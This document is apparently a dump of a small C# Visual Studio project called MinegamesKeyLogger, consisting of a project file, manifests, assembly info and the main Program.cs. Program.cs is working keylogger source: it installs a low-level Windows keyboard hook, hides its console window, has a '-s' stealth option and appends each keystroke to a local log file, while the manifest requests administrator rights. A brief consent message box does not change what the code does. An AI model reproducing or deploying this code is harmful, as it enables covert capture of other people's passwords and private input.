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<?xml version="1.0" encoding="utf-8"?> | ||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
<PropertyGroup> | ||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> | ||
<Platform Condition=" '$(Platform)' == '' ">x86</Platform> | ||
<ProductVersion>8.0.30703</ProductVersion> | ||
<SchemaVersion>2.0</SchemaVersion> | ||
<ProjectGuid>{D37D8B35-CE53-40EE-B1EE-A24E46486A09}</ProjectGuid> | ||
<OutputType>Exe</OutputType> | ||
<AppDesignerFolder>Properties</AppDesignerFolder> | ||
<RootNamespace>MinegamesKeyLogger</RootNamespace> | ||
<AssemblyName>MinegamesKeyLogger</AssemblyName> | ||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion> | ||
<TargetFrameworkProfile>Client</TargetFrameworkProfile> | ||
<FileAlignment>512</FileAlignment> | ||
</PropertyGroup> | ||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' "> | ||
<PlatformTarget>x86</PlatformTarget> | ||
<DebugSymbols>true</DebugSymbols> | ||
<DebugType>full</DebugType> | ||
<Optimize>false</Optimize> | ||
<OutputPath>bin\Debug\</OutputPath> | ||
<DefineConstants>DEBUG;TRACE</DefineConstants> | ||
<ErrorReport>prompt</ErrorReport> | ||
<WarningLevel>4</WarningLevel> | ||
</PropertyGroup> | ||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' "> | ||
<PlatformTarget>x86</PlatformTarget> | ||
<DebugType>pdbonly</DebugType> | ||
<Optimize>true</Optimize> | ||
<OutputPath>bin\Release\</OutputPath> | ||
<DefineConstants>TRACE</DefineConstants> | ||
<ErrorReport>prompt</ErrorReport> | ||
<WarningLevel>4</WarningLevel> | ||
</PropertyGroup> | ||
<PropertyGroup> | ||
<ApplicationManifest>app.manifest</ApplicationManifest> | ||
</PropertyGroup> | ||
<ItemGroup> | ||
<Reference Include="System" /> | ||
<Reference Include="System.Core" /> | ||
<Reference Include="System.Windows.Forms" /> | ||
<Reference Include="System.Xml.Linq" /> | ||
<Reference Include="System.Data.DataSetExtensions" /> | ||
<Reference Include="Microsoft.CSharp" /> | ||
<Reference Include="System.Data" /> | ||
<Reference Include="System.Xml" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<Compile Include="Program.cs" /> | ||
<Compile Include="Properties\AssemblyInfo.cs" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<None Include="app.manifest" /> | ||
</ItemGroup> | ||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> | ||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it. | ||
Other similar extension points exist, see Microsoft.Common.targets. | ||
<Target Name="BeforeBuild"> | ||
</Target> | ||
<Target Name="AfterBuild"> | ||
</Target> | ||
--> | ||
</Project> |
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using System; | ||
using System.Windows.Forms; | ||
using System.IO; | ||
using System.Runtime.InteropServices; | ||
using System.Diagnostics; | ||
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namespace MinegamesKeyLogger | ||
{ | ||
static class Program | ||
{ | ||
static void Main(string[] args) | ||
{ | ||
MessageBox.Show("This program will only log your pc keys just to make sure that you will not use it for malicious purposes! everykey will be monitored to the place the application started. you can always end this program task.", "MinegamesKeylogger", MessageBoxButtons.OKCancel, MessageBoxIcon.Information); | ||
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if (!File.Exists(Path.GetDirectoryName(Application.ExecutablePath) + @"\MinegamesLog.log")) | ||
{ | ||
File.WriteAllText(Path.GetDirectoryName(Application.ExecutablePath) + @"\MinegamesLog.log", ""); | ||
} | ||
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var handle = GetConsoleWindow(); | ||
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ShowWindow(handle, SW_HIDE); | ||
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_hookID = SetHook(_proc); | ||
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bool stealth = false; | ||
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try | ||
{ | ||
string stealthCheck = args[0]; | ||
if (stealthCheck == "-s") | ||
{ | ||
stealth = true; | ||
} | ||
} | ||
catch | ||
{ | ||
// Don't do anything! | ||
} | ||
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if (stealth == false) | ||
{ | ||
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} | ||
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Application.Run(); | ||
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UnhookWindowsHookEx(_hookID); | ||
} | ||
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private const int WH_KEYBOARD_LL = 13; | ||
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private const int WM_KEYDOWN = 0x0100; | ||
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private static LowLevelKeyboardProc _proc = HookCallback; | ||
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private static IntPtr _hookID = IntPtr.Zero; | ||
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private static IntPtr SetHook(LowLevelKeyboardProc proc) | ||
{ | ||
using (Process curProcess = Process.GetCurrentProcess()) | ||
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using (ProcessModule curModule = curProcess.MainModule) | ||
{ | ||
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); | ||
} | ||
} | ||
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private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); | ||
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private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) | ||
{ | ||
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) | ||
{ | ||
int vkCode = Marshal.ReadInt32(lParam); | ||
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StreamWriter sw = new StreamWriter(Path.GetDirectoryName(Application.ExecutablePath) + @"\MinegamesLog.log", true); | ||
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string key = Convert.ToString((Keys)vkCode); | ||
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sw.Write(key + " "); | ||
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sw.Close(); | ||
} | ||
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return CallNextHookEx(_hookID, nCode, wParam, lParam); | ||
} | ||
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[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | ||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); | ||
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[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | ||
[return: MarshalAs(UnmanagedType.Bool)] | ||
private static extern bool UnhookWindowsHookEx(IntPtr hhk); | ||
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[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | ||
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, | ||
IntPtr wParam, IntPtr lParam); | ||
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[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] | ||
private static extern IntPtr GetModuleHandle(string lpModuleName); | ||
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[DllImport("kernel32.dll")] | ||
static extern IntPtr GetConsoleWindow(); | ||
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[DllImport("user32.dll")] | ||
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); | ||
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const int SW_HIDE = 0; | ||
} | ||
} |
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using System.Reflection; | ||
using System.Runtime.CompilerServices; | ||
using System.Runtime.InteropServices; | ||
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// General Information about an assembly is controlled through the following | ||
// set of attributes. Change these attribute values to modify the information | ||
// associated with an assembly. | ||
[assembly: AssemblyTitle("MinegamesKeyLogger")] | ||
[assembly: AssemblyDescription("")] | ||
[assembly: AssemblyConfiguration("")] | ||
[assembly: AssemblyCompany("")] | ||
[assembly: AssemblyProduct("MinegamesKeyLogger")] | ||
[assembly: AssemblyCopyright("Copyright © 2021")] | ||
[assembly: AssemblyTrademark("")] | ||
[assembly: AssemblyCulture("")] | ||
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// Setting ComVisible to false makes the types in this assembly not visible | ||
// to COM components. If you need to access a type in this assembly from | ||
// COM, set the ComVisible attribute to true on that type. | ||
[assembly: ComVisible(false)] | ||
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// The following GUID is for the ID of the typelib if this project is exposed to COM | ||
[assembly: Guid("dae3e9d3-9690-4bbc-9977-1a39aa02572d")] | ||
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// Version information for an assembly consists of the following four values: | ||
// | ||
// Major Version | ||
// Minor Version | ||
// Build Number | ||
// Revision | ||
// | ||
// You can specify all the values or you can default the Build and Revision Numbers | ||
// by using the '*' as shown below: | ||
// [assembly: AssemblyVersion("1.0.*")] | ||
[assembly: AssemblyVersion("1.0.0.0")] | ||
[assembly: AssemblyFileVersion("1.0.0.0")] |
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<?xml version="1.0" encoding="utf-8"?> | ||
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1"> | ||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> | ||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> | ||
<security> | ||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> | ||
<!-- UAC Manifest Options | ||
If you want to change the Windows User Account Control level replace the | ||
requestedExecutionLevel node with one of the following. | ||
<requestedExecutionLevel level="asInvoker" uiAccess="false" /> | ||
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" /> | ||
<requestedExecutionLevel level="highestAvailable" uiAccess="false" /> | ||
Specifying requestedExecutionLevel element will disable file and registry virtualization. | ||
Remove this element if your application requires this virtualization for backwards | ||
compatibility. | ||
--> | ||
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" /> | ||
</requestedPrivileges> | ||
</security> | ||
</trustInfo> | ||
|
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<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> | ||
<application> | ||
<!-- A list of the Windows versions that this application has been tested on | ||
and is designed to work with. Uncomment the appropriate elements | ||
and Windows will automatically select the most compatible environment. --> | ||
|
||
<!-- Windows Vista --> | ||
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />--> | ||
|
||
<!-- Windows 7 --> | ||
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />--> | ||
|
||
<!-- Windows 8 --> | ||
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />--> | ||
|
||
<!-- Windows 8.1 --> | ||
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />--> | ||
|
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<!-- Windows 10 --> | ||
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />--> | ||
|
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</application> | ||
</compatibility> | ||
|
||
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher | ||
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need | ||
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should | ||
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. --> | ||
<!-- | ||
<application xmlns="urn:schemas-microsoft-com:asm.v3"> | ||
<windowsSettings> | ||
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware> | ||
</windowsSettings> | ||
</application> | ||
--> | ||
|
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<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) --> | ||
<!-- | ||
<dependency> | ||
<dependentAssembly> | ||
<assemblyIdentity | ||
type="win32" | ||
name="Microsoft.Windows.Common-Controls" | ||
version="6.0.0.0" | ||
processorArchitecture="*" | ||
publicKeyToken="6595b64144ccf1df" | ||
language="*" | ||
/> | ||
</dependentAssembly> | ||
</dependency> | ||
--> | ||
|
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</assembly> |
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MinegamesKeyLogger/bin/Debug/MinegamesKeyLogger.vshost.exe.manifest
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?> | ||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> | ||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> | ||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> | ||
<security> | ||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> | ||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/> | ||
</requestedPrivileges> | ||
</security> | ||
</trustInfo> | ||
</assembly> |
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MinegamesKeyLogger/obj/x86/Debug/MinegamesKeyLogger.csproj.FileListAbsolute.txt
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c:\documents and settings\administrator\my documents\visual studio 2010\Projects\ConsoleApplication1\ConsoleApplication1\bin\Debug\ConsoleApplication1.exe | ||
c:\documents and settings\administrator\my documents\visual studio 2010\Projects\ConsoleApplication1\ConsoleApplication1\bin\Debug\ConsoleApplication1.pdb | ||
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c:\documents and settings\administrator\my documents\visual studio 2010\Projects\ConsoleApplication1\ConsoleApplication1\obj\x86\Debug\ConsoleApplication1.pdb | ||
C:\Users\ezz\Downloads\KeyLogger\ConsoleApplication1\ConsoleApplication1\obj\x86\Debug\ConsoleApplication1.csprojAssemblyReference.cache | ||
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C:\Users\ezz\Downloads\KeyLogger\ConsoleApplication1\MinegamesKeyLogger\obj\x86\Debug\MinegamesKeyLogger.pdb |
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